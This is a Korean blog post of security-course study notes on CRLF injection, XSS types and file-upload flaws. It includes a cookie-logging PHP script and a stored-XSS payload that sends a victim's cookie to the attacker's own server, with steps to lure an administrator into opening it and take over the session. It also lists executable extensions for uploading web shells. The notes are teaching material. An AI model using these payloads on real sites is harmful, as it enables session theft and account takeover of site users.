[목차]
1. CRLF
2. XSS
3. 파일 업로드
[CRLF]
CRLF는 Carriage Return과 Line Feed를 의미하며
키보드의 엔터키와 동일한 기능을 한다. 그러나
URL 특정 파라미터에 해당 코드를 삽입하는 경우
임의의 헤더정보를 생성할 수 있는 취약점이 발생된다.
해당 기법은 HTTP Response Splitting기법이라고도 불리며,
파라미터에 CRLF와 특정 헤더정보를 만드는 문자열을
함께 삽입하여 Response Header 혹은 Body에
임의의 필드를 만들어 넣을 수 있게 된다.
이를 이용하여 보안필터 역할을 수행하는 경우,
헤더값을 조작할 수 있기 때문에 해당 필터를
우회할 수 있을 것이다.
CRLF는 일반적으로 HTTP 헤더라인의 끝마다 삽입되어,
각 라인을 구분하는 구분자로 사용되고 있다.
혹 와이어샤크나 프록시 툴로 요청값을 확인시
CRLF가 보이지는 않지만 실제로는 각 필드마다
CRLF가 삽입되어 있는 것이다.
CRLF를 16진수 코드 형태로 표기하면 '0d0a'가 되며
와이어샤크로 캡쳐한 내용의 패킷 바이트(16진수 형태)를
살펴보면 다음과 같이 라인의 끝마다 0d0a가 삽입되어 있음을
확인할 수 있다.
Response Header 조작 방법은
페이지의 url 파라미터에 공격문자열을
추가하면 된다.
CRLF(%0d%0a) + 스페이스(%20) + new_header....
취약한 파라미터인 경우,
응답헤더의 응답코드(status code)는
302번 및 삽입한 공격 문자열이 보일 수 있다.
Location 부분을 확인하면 된다.
* 응답코드 참조
응답코드가 302로 확인될 시
이는 공격 문자열로 인해 다른 페이지로
이동했음을 의미하는 것으로
CRLF 공격 시 흔히 발생되는 특징이며
응답코드가 200번인 경우도 발생할 수 있다.
CSRF는 XSS에 포함되어 있지만
방식의 차이점을 이해하고 있어야 한다.
[XSS]
크로스사이트스크립트는 다른 취약점들과는 다르게
접속한 사용자를 대상으로 공격하는 기법으로,
삽입한 스크립트 팝업여부 확인이나,
사용자의 권한을 획득하여
사용자의 중요정보를 가로챌 수 있는 기법이다.
입력된 값에 대해 점검 하는 부분이 있는지 여부가
중요하고 xss는 스크립트 구문 및 함수에 대한 지식이
많을수록 더욱 다양한 공격이 가능하다.
XSS 종류
1. DOM(Document Object Model)
사용자측에서 코드가 실행되는 취약점으로
url에 스크립트 구문을 넣어 공격 가능 유무를 확인할 수 있고
(http://example.com/xss1.jsp?age=<script>alert('takudaddy')</script>
또는 사용자 입력이 가능한 부분에 입력한 데이터가
화면상에 바로 출력 되는지 여부로 확인 가능하다.
이 경우 개발자 도구를 열어 해당 페이지의 소스코드를 확인하여
암호 변경등의 링크 경로 (a href="change?pass=2021>web</a>)
등을 찾아 복사 후 입력값으로 넣으면 화면상 해당 링크가 출력되면서
타고 갈 수 있게 되고, 들어가보면 다른 사용자의 암호등을 변경할 수 있게 됨
2. Reflected XSS(Non-persistent XSS)
사용자 입력 데이터가 웹 어플리케이션의 응답 페이지에 적용
및 실행되는 취약점, 즉 사용자 입력 값이 웹 화면에
바로 출력되는 형태의 취약점
공격 가능 판단 유무
: <script>alert('takudaddy')</script>
3. Stored XSS(Persistent XSS, Second Order XSS)
사용자의 입력 데이터가 데이터베이스에 저장되고
데이터베이스에서 해당 값을 추출하는 경우에 발생되는 취약점
예로 게시판에 스크립트 공격 문자열을 삽입하고 저장하면
데이터베이스에 저장되고, 해당 글 보기 시 스크립트가 실행되는 방식
공격 절차로는 우선
쿠키를 저장하기 위한 파일에(ex: log.txt) 피해자의 날짜, 접속자 IP,
접속 페이지 등을 저장하도록 하고 정상적 사이트인것처럼 속이기 위해
구글등이 오픈 되도록 설정한 프로그램을 짠다.
test.php
<?php
$f = fopen("log.txt", 'a');
fwrite($f, date("Y-m-d H:i:s"). " ");
fwrite($f, $_SERVER["REMOTE_ADDR"]. " ");
fwrite($f, $_SERVER["REQUEST_URI"]. "\n");
fclose($f);
header("Location: http://www.google.com");
?>
해당 소스코드 test.php 파일을
자신의 로컬 웹 서버 (예 C:\APM_Setup\htdocs)
디렉토리에 넣는다.
다시 한 번 위 코드를 분석해보면
쿠키를 저장하기 위해서 log.txt 파일 만들고,
날짜(date()), 접속자 IP(REMOTE_ADDR),
접속 페이 지(REQUEST_URI, 쿠키값이 같이 전달된다.)를
log.txt 파일에 저장한다.
정상적인 사이트인것처럼 속이기 위해서 www.google.com
사이트가 오픈되도록 구성되었다.
다음으로는 쿠키값을 수정/변경 해주는
EditThisCooki/cookie Tool bar
등의 툴을 설치한다.
이 후 취약한 페이지로 이동해
상단 메뉴 중 Show Cookies를 선택하면
상단 화면에 JSESSIONID라는 세션 아이디값을 보여준다.
공격이 진행되는 방식은
해당 값이 로그인 이후에 발급되는 사용자의 고유값(세션 값)이라고 가정,
해당 값을 가로채서 공격자 웹서버에 log.txt 저장하는 것
JSESSIONID 값을 복사하여
Cookie 툴바의 Edit Cookie를 선택하고
해당 값을 넣고 Set 선택한다.
취약한 게시판에 아래의 공격코드를 넣는다.
-----------------------------------------------------
<script language="JavaScript">
window.location="http://자신의IP/test.php?"+document.cookie;
</script>
----------------------------------------------------
이를 관리자가 볼 수 있도록 그럴싸하게
제목을 꾸민 후 글을 저장시켜 관리자가
열도록 유도한다.
이를 관리자가 열면 관리자의 쿠키값이
공격자의 웹서버에 전달하여 log.txt 저장된다.
관리자의 쿠기값을 얻었기 때문에 해당 세션값을 Cookie에 설정하고
해당 웹사이트에 접속하면 관리자와 같은 권한으로 접속이 된다.
[파일 업로드]
파일 업로드 취약점이란
게시판 등의 파일을 업로드 할 수 있는 기능을 악용하여
악의적인 파일(웹쉘) 업로드를 통해 시스템 권한을 장악하는
기법을 의미한다.
게시판 업로드 기능에서
파일 확장자에 대한 검사가 수행되지 않는 경우
취약점이 발생된다.
다음은 웹서버에서 실행 가능한 확장자에 대한 예시이다.
----------------------------------------------------------------------
개발언어 공격 가능한 확장자
----------------------------------------------------------------------
ASP, ASPX asp, aspx, htm, html, asa 등
PHP phtml, php, php3, php4, php5, inc, htm, html 등
JSP, JAVA jsp, jspx, jsw, jsv, jspf, htm, html 등
PERL pl, pm, cgi, lib, htm, html 등
ColdFusion cfm, cfml, cfc, dbm, htm, html 등
----------------------------------------------------------------------
업로드가 불가능한 필터링 된 확장자를
프록시 툴 등으로 변조시키는 등의 다양한
우회 기법들이 있다.
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day120-1 : 파이썬 공격 코드 제작 실습 (0) | 2021.03.04 |
---|---|
정보보안 과정 Day120 : Python requests / beautifulsoup 모듈 (0) | 2021.03.04 |
정보보안과정 119 : Paros + sqlmap 2 (0) | 2021.03.02 |
정보보안 과정 Day 118-1 : Paros + sqlmap (0) | 2021.02.26 |
정보보안 과정 Day 118 : MySQL DB 공격 실습 (0) | 2021.02.26 |